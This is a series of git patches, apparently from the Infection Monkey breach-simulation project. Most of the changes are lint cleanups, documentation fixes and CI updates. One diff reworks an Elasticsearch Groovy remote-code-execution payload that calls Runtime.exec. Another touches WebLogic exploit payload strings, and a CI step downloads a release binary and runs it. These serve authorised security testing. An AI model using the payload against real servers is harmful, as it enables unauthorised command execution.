monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 82d9a25264b..d724ca584db 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,46 +1,46 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 CloudformationRulePathCreator, ) from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501 CloudTrailRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 CloudWatchRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 ConfigRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 EC2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 ELBRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 ELBv2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 IAMRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 RDSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 RedshiftRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 S3RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 SESRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 SNSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 SQSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 VPCRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 4ee7a6f5923..3b6da848f46 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -13,7 +13,7 @@ WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( # noqa: E501 +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( # noqa: E501 save_example_findings, ) from monkey_island.cc.test_common.fixtures import FixtureEnum From a6a306a09984517fcc34204578bf5c652d02bfc0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 10:43:07 -0400 Subject: [PATCH 0167/1360] Fix exclude path in flake8 config --- .flake8 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.flake8 b/.flake8 index 4bf12711479..1f81c9edc75 100644 --- a/.flake8 +++ b/.flake8 @@ -1,7 +1,7 @@ [flake8] ## Warn about linter issues. -exclude = ../monkey/monkey_island/cc/ui +exclude = monkey/monkey_island/cc/ui show-source = True max-complexity = 10 max-line-length = 100 From 7901446b4edf7a2b82d64c0d801496b885d43129 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 13:41:12 -0400 Subject: [PATCH 0168/1360] ci: expand flake8 checks from `monkey/` to whole repo --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 6ea44a9714e..65d0e176677 100644 --- a/.travis.yml +++ b/.travis.yml @@ -55,7 +55,7 @@ install: script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 ./monkey +- flake8 . ## Check import order - python -m isort ./monkey --check-only From c9d64ea40cd0be07d65e492ec0625dd6be11c4d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 13:47:50 -0400 Subject: [PATCH 0169/1360] zoo: resolve E501 flake8 warnings in monkey zoo --- .../telem_sample_parsing/sample_multiplier/fake_monkey.py | 2 +- .../sample_multiplier/sample_multiplier.py | 4 ++-- .../sample_multiplier/test_fake_ip_generator.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py index 2a39e63538f..37245cefc19 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py @@ -1,6 +1,6 @@ import random -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 FakeIpGenerator, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index 7a1fb4032d4..221c3a87ab8 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -9,10 +9,10 @@ from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( SampleFileParser, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 FakeIpGenerator, ) -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( # noqa: E501 FakeMonkey, ) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py index 7a4f30cff76..55662b307ec 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py @@ -1,6 +1,6 @@ from unittest import TestCase -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501 FakeIpGenerator, ) From 13d99a4cccf58cb3332c3ace9b9f55f80d9c1f74 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 13:49:37 -0400 Subject: [PATCH 0170/1360] agent: Fix W291 trailing whitespace warnings --- monkey/infection_monkey/exploit/weblogic.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index a10700ac3e9..01705034610 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -160,7 +160,7 @@ def get_exploit_payload(cmd_base, cmd_opt, command): :param command: command itself :return: Formatted payload """ - empty_payload = """ @@ -196,7 +196,7 @@ def get_test_payload(ip, port): :param port: Server's port :return: Formatted payload """ - generic_check_payload = """ @@ -310,7 +310,7 @@ def get_exploit_payload(cmd_base, cmd_opt, command): """ empty_payload = """ xx From 39843527ae4c09f34ac78797a90210ad6b13ac74 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 13:50:35 -0400 Subject: [PATCH 0171/1360] zoo: Remove unused import from zerologon_analyzer.py --- envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index 5c256beaf35..5762a031580 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -3,12 +3,7 @@ import dpath.util -from common.config_value_paths import ( - LM_HASH_LIST_PATH, - NTLM_HASH_LIST_PATH, - PASSWORD_LIST_PATH, - USER_LIST_PATH, -) +from common.config_value_paths import LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, USER_LIST_PATH from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient From b3c8ce28ed71715b4fec9a4e02110f45662ee540 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 19:10:36 -0400 Subject: [PATCH 0172/1360] agent: Fix bug caused by unintentional newline in elastic exploiter --- monkey/infection_monkey/exploit/elasticgroovy.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index f7e23d21a8a..734e7e5ef06 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -36,10 +36,9 @@ class ElasticGroovyExploiter(WebRCE): GENERIC_QUERY = ( """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD ) - JAVA_CMD = ( - GENERIC_QUERY - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec( - \\"%s\\").getText()""" + JAVA_CMD = GENERIC_QUERY % ( + """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(""" + """\\"%s\\").getText()""" ) _TARGET_OS_TYPE = ["linux", "windows"] From ccbf4f011780ecf5ac488350a251fbb407931510 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 20:47:14 -0400 Subject: [PATCH 0173/1360] zoo: Add blackbox logs to .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 76e08185b2a..75074b4c5dd 100644 --- a/.gitignore +++ b/.gitignore @@ -81,6 +81,7 @@ MonkeyZoo/* !MonkeyZoo/README.MD !MonkeyZoo/config.tf !MonkeyZoo/MonkeyZooDocs.pdf +monkey/logs # Exported monkey telemetries /monkey/telem_sample/ From 920803bbac1690dc05783b91ccf33fe4d898caee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Apr 2021 06:40:09 -0400 Subject: [PATCH 0174/1360] Add flake8 entry to changelog --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3bca2515fef..d675e0461f5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,4 +17,5 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Monkey agents are stored in the configurable data_dir when monkey is "run from the island". #997 - Reformated all code using black. #1070 -- Sort all imports usind isort. #1081 +- Sorted all imports usind isort. #1081 +- Addressed all flake8 issues. #1071 From 0fa7c41cf319f168f292b25f1139ce76d9c7bb3d Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Apr 2021 16:39:29 +0530 Subject: [PATCH 0175/1360] Modify Swimm unit: Add a new configuration setting to the Agent Fixed a link --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index a798922f009..eb0339fa3dd 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -70,7 +70,7 @@ }, { "type": "text", - "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs)." + "text": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well [here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/config_templates)." } ], "symbols": {}, From f60f38d14df0937e73febea247c66c81bbdc6852 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Apr 2021 16:40:26 +0530 Subject: [PATCH 0176/1360] Fix Swimm unit: Add a new System Info Collector --- .swm/OwcKMnALpn7tuBaJY1US.swm | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 1f1b0ace047..059b744774e 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -37,7 +37,7 @@ "firstLineNumber": 1, "lines": [ " import logging", - "*import socket", + " import socket", "*", "*from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR", "*from infection_monkey.system_info.system_info_collector import SystemInfoCollector", @@ -149,10 +149,10 @@ " import logging", " import typing", " ", - "*from common.common_consts.system_info_collectors_names import (", + " from common.common_consts.system_info_collectors_names import (", " AWS_COLLECTOR,", " ENVIRONMENT_COLLECTOR,", - " HOSTNAME_COLLECTOR," + "* HOSTNAME_COLLECTOR," ] }, { @@ -176,7 +176,7 @@ " )", " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import (", " process_environment_telemetry,", - "*)", + " )", "*from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import (", "* process_hostname_telemetry,", "*)", From e1ec0263a80ba712c26c82a34faeb56e4d42907e Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Apr 2021 17:03:09 +0530 Subject: [PATCH 0177/1360] Fix Swimm unit: Add a simple Post Breach action --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index c6d72185d52..4450451e10c 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -58,8 +58,8 @@ "comments": [], "firstLineNumber": 1, "lines": [ - "*from common.common_consts.post_breach_consts import (", - " POST_BREACH_BACKDOOR_USER,", + " from common.common_consts.post_breach_consts import (", + "* POST_BREACH_BACKDOOR_USER,", " POST_BREACH_COMMUNICATE_AS_NEW_USER,", " )" ] From 0f2ecc14cc22b5e088775e6f61650a335a4a188c Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Apr 2021 17:08:41 +0530 Subject: [PATCH 0178/1360] =?UTF-8?q?Modify=20Swimm=20unit:=20Implement=20?= =?UTF-8?q?a=20new=20PBA=20=E2=80=94=20=20`ScheduleJobs`?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .swm/VW4rf3AxRslfT7lwaug7.swm | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.swm/VW4rf3AxRslfT7lwaug7.swm b/.swm/VW4rf3AxRslfT7lwaug7.swm index d379af8cede..79d9deb215c 100644 --- a/.swm/VW4rf3AxRslfT7lwaug7.swm +++ b/.swm/VW4rf3AxRslfT7lwaug7.swm @@ -34,7 +34,8 @@ "* )", "*", "* def run(self):", - "* super(ScheduleJobs, self).run()" + "* super(ScheduleJobs, self).run()", + "* remove_scheduled_jobs()" ] }, { From 2f8441f1d58f2e187eb01321db4179bcbf798c5f Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Apr 2021 17:12:10 +0530 Subject: [PATCH 0179/1360] Update travis script for swimm verify --- .travis.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.travis.yml b/.travis.yml index 80b17df46e1..792c3b56785 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,11 +80,10 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- wget "https://github.com/swimmio/SwimmReleases/releases/download/v0.4.1-0/Swimm_0.4.1-0_Setup.deb" -O swimm -- sudo dpkg -i swimm || (sudo apt-get update && sudo apt-get -f install) -- chmod +x ./swimm -- swimm --version -- swimm verify +- curl -s https://api.github.com/repos/swimmio/SwimmReleases/releases/latest | grep 'browser_download_url.*swimm-cli' | cut -d '"' -f 4 | wget -O swimm_cli -qi - +- chmod +x swimm_cli +- node swimm_cli --version +- node swimm_cli verify after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information From f9d85849107b61752e61b3d314cfa2e5afe47b77 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 8 Apr 2021 17:29:00 +0300 Subject: [PATCH 0180/1360] Shellshock UI bugfix --- .../cc/ui/src/components/report-components/SecurityReport.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 364e77b7702..8486dd547e7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -598,7 +598,7 @@ class ReportPageComponent extends AuthComponent { let issueDescriptor = this.IssueDescriptorEnum[issue.type]; let reportFnc = (issue) => {}; - if (issue.hasOwnProperty('credential_type')) { + if (issue.hasOwnProperty('credential_type') && issue.credential_type !== null) { reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; } else { reportFnc = issueDescriptor[this.issueContentTypes.REPORT]; From 9557eab7de3ee2e9c5eecf22f82696368fe5731f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 11:33:03 +0300 Subject: [PATCH 0181/1360] Removed validation-scripts --- ci_scripts/.gitignore | 2 -- ci_scripts/README.md | 8 ------ ci_scripts/install_requirements.ps1 | 5 ---- ci_scripts/requirements.txt | 6 ----- ci_scripts/validate.ps1 | 39 ----------------------------- 5 files changed, 60 deletions(-) delete mode 100644 ci_scripts/.gitignore delete mode 100644 ci_scripts/README.md delete mode 100644 ci_scripts/install_requirements.ps1 delete mode 100644 ci_scripts/requirements.txt delete mode 100644 ci_scripts/validate.ps1 diff --git a/ci_scripts/.gitignore b/ci_scripts/.gitignore deleted file mode 100644 index 67f93fcdcc2..00000000000 --- a/ci_scripts/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -./validation-env -./flake8_warnings.txt diff --git a/ci_scripts/README.md b/ci_scripts/README.md deleted file mode 100644 index 09330d29850..00000000000 --- a/ci_scripts/README.md +++ /dev/null @@ -1,8 +0,0 @@ -# About - -Run this script to validate your code locally and auto fix/format the problems before pushing. - -# Usage - -You've got to manually download swimm for swimm validation. -run from `infection_monkey` directory: `powershell .\ci_scripts\validate.ps1` diff --git a/ci_scripts/install_requirements.ps1 b/ci_scripts/install_requirements.ps1 deleted file mode 100644 index de42d8599eb..00000000000 --- a/ci_scripts/install_requirements.ps1 +++ /dev/null @@ -1,5 +0,0 @@ -python -m venv validation-env -.\validation-env\Scripts\activate.ps1 -python -m pip install -r .\requirements.txt -npm i -g eslint -deactivate diff --git a/ci_scripts/requirements.txt b/ci_scripts/requirements.txt deleted file mode 100644 index 2b7db1909da..00000000000 --- a/ci_scripts/requirements.txt +++ /dev/null @@ -1,6 +0,0 @@ -flake8 -pytest -dlint -isort -coverage -black diff --git a/ci_scripts/validate.ps1 b/ci_scripts/validate.ps1 deleted file mode 100644 index d85da6a2ad2..00000000000 --- a/ci_scripts/validate.ps1 +++ /dev/null @@ -1,39 +0,0 @@ -.\ci_scripts\validation-env\Scripts\activate.ps1 -$ErrorActionPreference = "Stop" -python -m pip install -r monkey/monkey_island/requirements.txt -python -m pip install -r monkey/infection_monkey/requirements.txt -flake8 ./monkey --config ./ci_scripts/flake8_syntax_check.cfg -flake8 ./monkey --exit-zero --config ./ci_scripts/flake8_linter_check.cfg | Out-File -FilePath .\ci_scripts\flake8_warnings.txt -Get-Content -Path .\ci_scripts\flake8_warnings.txt -$PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT = 80 -if ((Get-Item -Path .\ci_scripts\flake8_warnings.txt | Get-Content -Tail 1) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT){ - "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " - exit -} -python -m isort ./monkey -c --settings-file ./ci_scripts/isort.cfg -if (!$?) { - $confirmation = Read-Host "Isort found errors. Do you want to attmpt to fix them automatically? (y/n)" - if ($confirmation -eq 'y') { - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg - } -} -Push-Location -Path ./monkey -python ./monkey_island/cc/environment/set_server_config.py testing -python -m pytest -$lastCommandSucceeded = $? -python ./monkey_island/cc/environment/set_server_config.py restore -Pop-Location - -if (!$lastCommandSucceeded) { - exit -} - -Push-Location -Path .\monkey\monkey_island\cc\ui -eslint ./src -c ./.eslintrc -Pop-Location - -swimm verify - -Write-Host "Script finished. Press any key to continue" -$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown'); -deactivate From 31657c9fae61d78b84c099cad32a46f508808921 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 14:23:26 +0300 Subject: [PATCH 0182/1360] Fixed small inconsistency in debian installation tutorial --- docs/content/setup/debian.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index b76d27ec0d8..ae9751ff5ea 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -32,7 +32,7 @@ This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal ``` 1. Install the Monkey Island Debian package: ```sh - sudo dpkg -i monkey_island.deb # this might print errors + sudo dpkg -i monkey_island_deb.deb # this might print errors ``` 1. If, at this point, you receive dpkg errors that look like this: @@ -86,4 +86,3 @@ If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") - From 84ed067f28287b7e3f4336c0761b1589c7db713c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 14:41:29 +0300 Subject: [PATCH 0183/1360] Fixed gitignores to exclude some irrelevant files --- .gitignore | 1 + envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 75074b4c5dd..82df0f6409d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # Intellij .idea/ +.run/ # Byte-compiled / optimized / DLL files __pycache__/ diff --git a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore index 9c558e357c4..72e8ffc0db8 100644 --- a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore +++ b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore @@ -1 +1 @@ -. +* From 77d76b075a53835bd395aba8c323e4db2ed03b1d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 15:06:17 +0300 Subject: [PATCH 0184/1360] Fixed link in zero-trust documentation page --- docs/content/usage/use-cases/zero-trust.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/docs/content/usage/use-cases/zero-trust.md b/docs/content/usage/use-cases/zero-trust.md index 56b294cbcac..2e54dc73e81 100644 --- a/docs/content/usage/use-cases/zero-trust.md +++ b/docs/content/usage/use-cases/zero-trust.md @@ -6,18 +6,18 @@ description: "See where you stand in your Zero Trust journey." weight: 1 --- -## Overview +## Overview Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different [Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. -You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.](/usage/integrations/scoutsuite) +You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.]({{< ref "/usage/integrations/scoutsuite" >}}) ## Configuration - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. - **Network -> Scope** Disable “Local network scan†and instead provide specific network ranges in the “Scan target list.†-- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define +- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define subnets that should be segregated from each other. In general, other configuration value defaults should be good enough, but feel free to see the “Other†section for tips and tricks about more features and in-depth configuration parameters you can use. @@ -31,4 +31,3 @@ Run the Infection Monkey on as many machines as you can. You can easily achieve ## Assessing results You can see your results in the Zero Trust report section. “The Summary†section will give you an idea about which Zero Trust pillars were the Infection Monkey tested, how many tests were performed and test statuses. Specific tests are described in the “Test Results†section. The “Findings†section shows details about the Monkey actions. Click on “Events†of different findings to observe what exactly the Infection Monkey did and when it did it. This should make it easy to cross reference events with your security solutions and alerts/logs. - From f62007d028f60d0a376abc0da474c2fc7090252f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Apr 2021 16:35:18 +0300 Subject: [PATCH 0185/1360] Refactored internal documentation hub links to proper structure which fixed them in production --- docs/content/FAQ/_index.md | 14 +++++++------- docs/content/_index.md | 10 +++++----- docs/content/development/_index.md | 6 +++--- docs/content/reference/exploiters/SMBExec.md | 2 +- docs/content/reference/exploiters/SSHExec.md | 2 +- docs/content/reference/exploiters/WMIExec.md | 2 +- docs/content/reference/mitre_techniques.md | 6 +++--- docs/content/reports/mitre.md | 2 